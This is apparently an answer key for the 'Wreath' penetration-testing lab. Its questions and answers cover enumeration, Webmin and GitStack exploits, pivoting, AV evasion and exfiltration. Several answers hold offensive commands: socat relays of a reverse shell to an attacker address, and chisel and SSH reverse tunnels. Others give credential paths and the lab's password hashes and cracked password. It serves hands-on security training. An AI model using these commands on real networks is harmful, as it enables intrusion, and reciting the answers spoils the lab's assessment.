Wreath

Prompts and answers

• How many of the first 15000 ports are open on the target?
  4
• What OS does Nmap think is running?
  CentOS
• Open the IP in your browser -- what site does the server try to redirect you to?
  https://thomaswreath.thm
• Read through the text on the page. What is Thomas' mobile phone number?
  +447821548812
• Look back at your service scan results: what server version does Nmap detect as running here?
  MiniServ 1.890 (Webmin httpd)
• What is the CVE number for this exploit?
  CVE-2019-15107
• Which user was the server running as?
  root
• What is the root user's password hash?
  $6$i9vT8tk3SoXXxK2P$HDIAwho9FOdd4QCecIJKwAwwh8Hwl.BdsbMOUAd3X/chSCvrmpfy.5lrLgnRVNq6/6g0PxK9VqSdy47/qKXad1
• What is the full path to this file?
  /root/.ssh/id_rsa
• Which type of pivoting creates a channel through which information can be sent hidden inside another protocol?
  Tunnelling
• Research: Not covered in this Network, but good to know about. Which Metasploit Framework Meterpreter command can be used to create a port forward?
  portfwd
• What is the absolute path to the file containing DNS entries on Linux?
  /etc/resolv.conf
• What is the absolute path to the hosts file on Windows?
  C:\Windows\System32\drivers\etc\hosts
• How could you see which IP addresses are active and allow ICMP echo requests on the 172.16.0.x/24 network using Bash?
  for i in {1..255}; do (ping -c 1 172.16.0.${i} | grep "bytes from" &); done
• What line would you put in your proxychains config file to redirect through a socks4 proxy on 127.0.0.1:4242?
  socks4 127.0.0.1 4242
• What command would you use to telnet through a proxy to 172.16.0.100:23?
  proxychains telnet 172.16.0.100 23
• You have discovered a webapp running on a target inside an isolated network. Which tool is more apt for proxying to a webapp: Proxychains (PC) or FoxyProxy (FP)?
  FP
• If you're connecting to an SSH server from your attacking machine to create a port forward, would this be a local (L) port forward or a remote (R) port forward?
  L
• Which switch combination can be used to background an SSH port forward or tunnel?
  -fN
• It's a good idea to enter our own password on the remote machine to set up a reverse proxy, Aye or Nay?
  Nay
• What command would you use to create a pair of throwaway SSH keys for a reverse connection?
  ssh-keygen
• If you wanted to set up a reverse portforward from port 22 of a remote machine (172.16.0.100) to port 2222 of your local machine (172.16.0.200), using a keyfile called id_rsa and backgrounding the shell, what command would you use? (Assume your username is "kali")
  ssh -R 2222:172.16.0.100:22 kali@172.16.0.200 -i id_rsa -fN
• What command would you use to set up a forward proxy on port 8000 to user@target.thm, backgrounding the shell?
  ssh -D 8000 user@target.thm -fN
• If you had SSH access to a server (172.16.0.50) with a webserver running internally on port 80 (i.e. only accessible to the server itself on 127.0.0.1:80), how would you forward it to port 8000 on your attacking machine? Assume the username is "user", and background the shell.
  ssh -L 8000:127.0.0.1:80 user@172.16.0.50 -fN
• What tool can be used to convert OpenSSH keys into PuTTY style keys?
  puttygen
• Which socat option allows you to reuse the same listening port for more than one connection?
  reuseaddr
• If your Attacking IP is 172.16.0.200, how would you relay a reverse shell to TCP port 443 on your Attacking Machine using a static copy of socat in the current directory?
  ./socat tcp-l:8000 tcp:172.16.0.200:443
• What command would you use to forward TCP port 2222 on a compromised server, to 172.16.0.100:22, using a static copy of socat in the current directory, and backgrounding the process (easy method)?
  ./socat tcp-l:2222,fork,reuseaddr tcp:172.16.0.100:22 &
• What command would you use to start a chisel server for a reverse connection on your attacking machine?
  ./chisel server -p 4242 --reverse
• What command would you use to connect back to this server with a SOCKS proxy from a compromised host, assuming your own IP is 172.16.0.200 and backgrounding the process?
  ./chisel client 172.16.0.200:4242 R:socks &
• How would you forward 172.16.0.100:3306 to your own port 33060 using a chisel remote port forward, assuming your own IP is 172.16.0.200 and the listening port is 1337? Background this process.
  ./chisel client 172.16.0.200:1337 R:33060:172.16.0.100:3306 &
• If you have a chisel server running on port 4444 of 172.16.0.5, how could you create a local portforward, opening port 8000 locally and linking to 172.16.0.10:80?
  ./chisel client 172.16.0.5:4444 8000:172.16.0.10:80
• How would you use sshuttle to connect to 172.16.20.7, with a username of "pwned" and a subnet of 172.16.0.0/16
  sshuttle -r pwned@172.16.20.7 172.16.0.0/16
• What switch (and argument) would you use to tell sshuttle to use a keyfile called "priv_key" located in the current directory?
  --ssh-cmd "ssh -i priv_key"
• What switch (and argument) could you use to fix this error?
  -x 172.16.0.100
• Excluding the out of scope hosts, and the current host (.200), how many hosts were discovered active on the network?
  2
• In ascending order, what are the last octets of these host IPv4 addresses? (e.g. if the address was 172.16.0.80, submit the 80)
  100,150
• Scan the hosts -- which one does not return a status of "filtered" for every port (submit the last octet only)?
  150
• Which TCP ports (in ascending order, comma separated) below port 15000, are open on the remaining target?
  80,3389,5985
• Assuming that the service guesses made by Nmap are accurate, which of the found services is more likely to contain an exploitable vulnerability?
  HTTP
• What is the name of the program running the service?
  Gitstack
• Do these default credentials work (Aye/Nay)?
  Nay
• There is one Python RCE exploit for version 2.3.10 of the service. What is the EDB ID number of this exploit?
  43777
• Look at the information at the top of the script. On what date was this exploit written?
  18.01.2018
• Bearing this in mind, is the script written in Python2 or Python3?
  Python2
• Just to confirm that you have been paying attention to the script: What is the name of the cookie set in the POST request made on line 74 (line 73 if you didn't add the shebang) of the exploit?
  csrftoken
• What is the hostname for this target?
  git-serv
• What operating system is this target?
  Windows
• What user is the server running as?
  NT AUTHORITY\SYSTEM
• How many make it to the waiting listener?
  0
• What is the Administrator password hash?
  37db630168e5f82aafa8461e05c6bbd1
• What is the NTLM password hash for the user "Thomas"?
  02d90eda8f6b6b06c32d5f207831101f
• What is Thomas' password?
  i<3ruby
• Can we get an agent back from the git server directly (Aye/Nay)?
  Nay
• Using the help command for guidance: in Empire CLI, how would we run the whoami command inside an agent?
  shell whoami
• Scan the top 50 ports of the last IP address you found in Task 17. Which ports are open (lowest to highest, separated by commas)?
  80,3389
• Using the Wappalyzer browser extension (Firefox | Chrome) or an alternative method, identify the server-side Programming language (including the version number) used on the website.
  PHP 7.4.11
• Use your WinRM access to look around the Git Server. What is the absolute path to the Website.git directory?
  C:\Gitstack\Repositories\Website.git
• What does Thomas have to phone Mrs Walker about?
  Neighbourhood Watch Meetings
• Aside from the filter, what protection method is likely to be in place to prevent people from accessing this page?
  Basic Auth
• Which extensions are accepted (comma separated, no spaces or quotes)?
  jpg,jpeg,png,gif
• Which category of evasion covers uploading a file to the storage on the target before executing it?
  On-Disk Evasion
• What does AMSI stand for?
  Anti-Malware Scan Interface
• Which category of evasion does AMSI affect?
  In-Memory Evasion
• What other name can be used for Dynamic/Heuristic detection methods?
  Behavioural
• If AV software splits a program into small chunks and hashes them, checking the results against a database, is this a static or dynamic analysis method?
  Static
• When dynamically analysing a suspicious file using a line-by-line analysis of the program, what would antivirus software check against to see if the behaviour is malicious?
  Pre-defined rules
• What could be added to a file to ensure that only a user can open it (preventing AV from executing the payload)?
  Password
• What is the Host Name of the target?
  WREATH-PC
• What is our current username (include the domain in this)?
  wreath-pc\thomas
• What output do you get when running the command: certutil.exe?
  CertUtil: -dump command completed successfully.
• [Research] One of the privileges on this list is very famous for being used in the PrintSpoofer and Potato series of privilege escalation exploits -- which privilege is this?
  SeImpersonatePrivilege
• What is the Name (second column from the left) of this service?
  SystemExplorerHelpService
• Is the service running as the local system account (Aye/Nay)?
  Aye
• Is FTP a good protocol to use when exfiltrating data in a modern network (Aye/Nay)?
  Nay
• For what reason is HTTPS preferred over HTTP during exfiltration?
  Encryption
• What is the Administrator NT hash for this target?
  a05c3c807ceeb48c47252568da284cd2